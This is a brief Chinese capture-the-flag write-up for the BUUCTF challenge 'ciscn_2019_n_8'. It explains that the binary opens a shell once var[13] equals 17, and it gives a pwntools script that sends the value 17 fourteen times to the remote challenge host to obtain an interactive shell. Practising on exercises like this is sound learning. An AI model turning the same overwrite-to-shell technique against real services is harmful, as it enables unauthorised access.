buuctf ciscn_2019_n_8

ida:

直接有sh，只要让var[13]等于17就可以

exp：

from pwn import * 
from LibcSearcher import * 

context.os='linux' 
context.arch='i386' 
context.log_level='debug' 

ru=lambda x:io.recvuntil(x) 
rl=lambda :io.recvline() 
sla=lambda x,y:io.sendlineafter(x,y) 

io=remote('node3.buuoj.cn',29534) 
#elf=ELF('./')

#p=p32(17)*14
p = flat([17])*14
sla('name?\n',p)

io.interactive()